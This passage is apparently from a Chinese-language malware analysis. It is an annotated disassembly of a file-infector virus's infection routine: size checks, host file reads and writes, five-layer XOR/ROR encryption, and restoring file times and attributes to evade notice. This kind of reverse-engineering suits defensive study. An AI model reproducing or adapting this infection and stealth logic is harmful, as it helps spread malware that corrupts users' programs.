00412D0B53PUSH EBX 00412D0CFF97 B12A0000CALL DWORD PTR DS:[EDI+2AB1]\\GetFileSize 00412D125APOP EDX 00412D1359POP ECX 00412D1483F8 00CMP EAX,0 00412D170F84 CD010000JE CLSPACK.00412EEA 00412D1D8BDAMOV EBX,EDX 00412D1F81C3 00020000ADD EBX,200 00412D253BC3CMP EAX,EBX 00412D270F87 BD010000JA CLSPACK.00412EEA\\不符合感染条件则跳(空间不够大) 00412D2D60PUSHAD 00412D2E8B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D346A 00PUSH 0 00412D366A 00PUSH 0 00412D388B97 A22E0000MOV EDX,DWORD PTR DS:[EDI+2EA2] 00412D3E52PUSH EDX 00412D3F53PUSH EBX 00412D40FF97 892A0000CALL DWORD PTR DS:[EDI+2A89]\\SetFilePointer 00412D4683F8 00CMP EAX,0 00412D4961POPAD 00412D4A0F84 9A010000JE CLSPACK.00412EEA 00412D5060PUSHAD 00412D516A 00PUSH 0 00412D538D87 9C2E0000LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412D5950PUSH EAX 00412D5AB8 04020000MOV EAX,204 00412D5F50PUSH EAX 00412D608D87 A62E0000LEA EAX,DWORD PTR DS:[EDI+2EA6] 00412D6650PUSH EAX 00412D678B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D6D53PUSH EBX 00412D6EFF97 9D2A0000CALL DWORD PTR DS:[EDI+2A9D]\\ReadFileA 00412D7483F8 00CMP EAX,0 00412D7761POPAD 00412D780F84 6C010000JE CLSPACK.00412EEA 00412D7E83BF A6300000 00 CMP DWORD PTR DS:[EDI+30A6],0 00412D8575 0AJNZ SHORT CLSPACK.00412D91 00412D87C787 A6300000 6A>MOV DWORD PTR DS:[EDI+30A6],23EDA56A 00412D9160PUSHAD 00412D928B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412D986A 00PUSH 0 00412D9A6A 00PUSH 0 00412D9C8B97 A22E0000MOV EDX,DWORD PTR DS:[EDI+2EA2] 00412DA252PUSH EDX 00412DA353PUSH EBX 00412DA4FF97 892A0000CALL DWORD PTR DS:[EDI+2A89]\\SetFilePointer 00412DAA83F8 00CMP EAX,0 00412DAD61POPAD 00412DAE0F84 36010000JE CLSPACK.00412EEA 00412DB460PUSHAD 00412DB56A 00PUSH 0 00412DB78D87 9C2E0000LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412DBD50PUSH EAX 00412DBEB8 00020000MOV EAX,200 00412DC350PUSH EAX 00412DC48D87 4E3F0000LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412DCA50PUSH EAX 00412DCB8B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412DD153PUSH EBX 00412DD2FF97 7D2A0000CALL DWORD PTR DS:[EDI+2A7D]\\WriteFileA 00412DD883F8 00CMP EAX,0 00412DDB61POPAD 00412DDC0F84 08010000JE CLSPACK.00412EEA 00412DE2E8 F5030000CALL CLSPACK.004131DC\\Xor [ESI],EAXlen=1FCH 00412DE7E8 21050000CALL CLSPACK.0041330D\\ROR EAX,10Hlen=BF5H 00412DECE8 3B050000CALL CLSPACK.0041332C\\这里是五层加密的地方 00412DF1E8 F9040000CALL CLSPACK.004132EF 00412DF6E8 C3040000CALL CLSPACK.004132BE\\跟前面的五次解密顺序相反 00412DFB60PUSHAD 00412DFCE8 92030000CALL CLSPACK.00413193 00412E0161POPAD 00412E0260PUSHAD 00412E038B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E096A 00PUSH 0 00412E0B6A 00PUSH 0 00412E0D52PUSH EDX 00412E0E53PUSH EBX 00412E0FFF97 892A0000CALL DWORD PTR DS:[EDI+2A89] 00412E1583F8 00CMP EAX,0 00412E1861POPAD 00412E190F84 CB000000JE CLSPACK.00412EEA 00412E1F60PUSHAD 00412E208B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E266A 00PUSH 0 00412E288D87 9C2E0000LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E2E50PUSH EAX 00412E2F51PUSH ECX 00412E308D87 4E3F0000LEA EAX,DWORD PTR DS:[EDI+3F4E] 00412E3650PUSH EAX 00412E3753PUSH EBX 00412E38FF97 7D2A0000CALL DWORD PTR DS:[EDI+2A7D] 00412E3E83F8 00CMP EAX,0 00412E4161POPAD 00412E420F84 A2000000JE CLSPACK.00412EEA 00412E4860PUSHAD 00412E498B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E4F6A 00PUSH 0 00412E516A 00PUSH 0 00412E53FFB7 902E0000PUSH DWORD PTR DS:[EDI+2E90] 00412E5953PUSH EBX 00412E5AFF97 892A0000CALL DWORD PTR DS:[EDI+2A89] 00412E6083F8 00CMP EAX,0 00412E6361POPAD 00412E640F84 80000000JE CLSPACK.00412EEA 00412E6A60PUSHAD 00412E6B8B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E716A 00PUSH 0 00412E738D87 9C2E0000LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412E79, ; 50PUSH EAX 00412E7A68 00040000PUSH 400 00412E7F8D87 4A310000LEA EAX,DWORD PTR DS:[EDI+314A] 00412E8550PUSH EAX 00412E8653PUSH EBX 00412E87FF97 7D2A0000CALL DWORD PTR DS:[EDI+2A7D] 00412E8D83F8 00CMP EAX,0 00412E9061POPAD 00412E9174 57JE SHORT CLSPACK.00412EEA 00412E9360PUSHAD 00412E948B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412E9A6A 00PUSH 0 00412E9C6A 00PUSH 0 00412E9EFFB7 8C2E0000PUSH DWORD PTR DS:[EDI+2E8C] 00412EA453PUSH EBX 00412EA5FF97 892A0000CALL DWORD PTR DS:[EDI+2A89] 00412EAB83F8 00CMP EAX,0 00412EAE61POPAD 00412EAF74 39JE SHORT CLSPACK.00412EEA 00412EB1E8 0A050000CALL CLSPACK.004133C0 00412EB6E8 D20C0000CALL CLSPACK.00413B8D 00412EBBE8 35030000CALL CLSPACK.004131F5 00412EC060PUSHAD 00412EC18B9F 882E0000MOV EBX,DWORD PTR DS:[EDI+2E88] 00412EC76A 00PUSH 0 00412EC98D87 9C2E0000LEA EAX,DWORD PTR DS:[EDI+2E9C] 00412ECF50PUSH EAX 00412ED0FFB7 AE300000PUSH DWORD PTR DS:[EDI+30AE] 00412ED68D87 4A310000LEA EAX,DWORD PTR DS:[EDI+314A] 00412EDC50PUSH EAX 00412EDD53PUSH EBX 00412EDEFF97 7D2A0000CALL DWORD PTR DS:[EDI+2A7D] 00412EE483F8 00CMP EAX,0 00412EE761POPAD 00412EE874 00JE SHORT CLSPACK.00412EEA 00412EEA8B87 B8290000MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EF083E8 2CSUB EAX,2C 00412EF383C0 14ADD EAX,14 00412EF650PUSH EAX 00412EF78B87 B8290000MOV EAX,DWORD PTR DS:[EDI+29B8] 00412EFD83E8 2CSUB EAX,2C 00412F0083C0 0CADD EAX,0C 00412F0350PUSH EAX 00412F048B87 B8290000MOV EAX,DWORD PTR DS:[EDI+29B8] 00412F0A83E8 2CSUB EAX,2C 00412F0D83C0 04ADD EAX,4 00412F1050PUSH EAX 00412F11FFB7 882E0000PUSH DWORD PTR DS:[EDI+2E88] 00412F17FF97 B52A0000CALL DWORD PTR DS:[EDI+2AB5] 00412F1DFFB7 882E0000PUSH DWORD PTR DS:[EDI+2E88] 00412F23FF97 792A0000CALL DWORD PTR DS:[EDI+2A79]\\SetFileTime 恢复文件时间,防止被发现 00412F2981BF 412B0000 88>CMP DWORD PTR DS:[EDI+2B41],88888888 00412F3374 17JE SHORT CLSPACK.00412F4C 00412F3581BF 4D2B0000 CC>CMP DWORD PTR DS:[EDI+2B4D],CCCCCCCC 00412F3F74 0BJE SHORT CLSPACK.00412F4C 00412F4168 00100000PUSH 1000 00412F46FF97 A92A0000CALL DWORD PTR DS:[EDI+2AA9]\\Sleep 00412F4CFFB7 842E0000PUSH DWORD PTR DS:[EDI+2E84] 00412F52FFB7 B4290000PUSH DWORD PTR DS:[EDI+29B4] 00412F58FF97 A12A0000CALL DWORD PTR DS:[EDI+2AA1]\\SetFileAttrubutes 恢复文件属性 00412F5E5EPOP ESI 00412F5FC3RETN 12.则解密原宿主程序代码(总共200字节), 恢复原AddressOfEntryPoint,执行原程序.